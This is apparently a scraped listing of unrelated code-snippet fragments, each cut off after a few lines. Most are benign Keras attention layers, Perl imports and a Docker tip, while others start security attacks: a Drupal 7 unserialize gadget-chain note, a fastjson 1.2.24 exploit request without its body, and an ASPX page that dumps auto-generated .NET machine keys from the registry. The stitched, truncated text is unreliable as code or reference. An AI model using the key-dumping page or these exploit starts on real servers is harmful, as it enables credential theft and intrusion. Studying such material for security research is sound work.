paul-axe

The challenge was based on drupal7 with obvious unserialize call added.

Trying to build a chain and the first solution i found was based on following chain:

./includes/bootstrap.inc

abstract class DrupalCacheArray
    ...
    public function __destruct() {
        $data = array();

nigeljyng

class AttentionWithContext(Layer):
    """
    Attention operation, with a context/query vector, for temporal data.
    Supports Masking.
    Follows the work of Yang et al. [https://www.cs.cmu.edu/~diyiy/docs/naacl16.pdf]
    "Hierarchical Attention Networks for Document Classification"
    by using a context vector to assist the attention
    # Input shape
        3D tensor with shape: `(samples, steps, features)`.
    # Output shape

smhuda

#!/opt/local/bin/perl
use strict;
use XML::TreePP;
use Data::Dumper;
use Math::Round;
use Excel::Writer::XLSX;
use Data::Table;
use Excel::Writer::XLSX::Chart;
use Getopt::Std;
#use Devel::Size qw(size total_size); ############# New module

udibr

# variation to https://github.com/ryankiros/skip-thoughts/blob/master/decoding/search.py

def keras_rnn_predict(samples, empty=empty, rnn_model=model, maxlen=maxlen):
    """for every sample, calculate probability for every possible label
    you need to supply your RNN model and maxlen - the length of sequences it can handle
    """
    data = sequence.pad_sequences(samples, maxlen=maxlen, value=empty)
    return rnn_model.predict(data, verbose=0)

def beamsearch(predict=keras_rnn_predict,

pikpikcu

fastjson ver:1.2.24

POST / HTTP/1.1
Host: REDACTED
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Type: application/json

cbaziotis

def dot_product(x, kernel):
    """
    Wrapper for dot product operation, in order to be compatible with both
    Theano and Tensorflow
    Args:
        x (): input
        kernel (): weights
    Returns:
    """
    if K.backend() == 'tensorflow':

cbaziotis

from keras import backend as K, initializers, regularizers, constraints
from keras.engine.topology import Layer


def dot_product(x, kernel):
    """
    Wrapper for dot product operation, in order to be compatible with both
    Theano and Tensorflow
    Args:

mbollmann

class AttentionLSTM(LSTM):
    """LSTM with attention mechanism

    This is an LSTM incorporating an attention mechanism into its hidden states.
    Currently, the context vector calculated from the attended vector is fed
    into the model's internal states, closely following the model by Xu et al.
    (2016, Sec. 3.1.2), using a soft attention model following
    Bahdanau et al. (2014).

    The layer expects two inputs instead of the usual one:

dasgoll

That’s one of the real strengths of Docker: the ability to go back to a previous commit. The secret is simply to docker tag the image you want.

Here’s an example. In this example, I first installed ping, then committed, then installed curl, and committed that. Then I rolled back the image to contain only ping:

$ docker history imagename
IMAGE               CREATED             CREATED BY                SIZE
f770fc671f11        12 seconds ago      apt-get install -y curl   21.3 MB
28445c70c2b3        39 seconds ago      apt-get install ping      11.57 MB
8dbd9e392a96        7 months ago                                  131.5 MB

irsdl

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)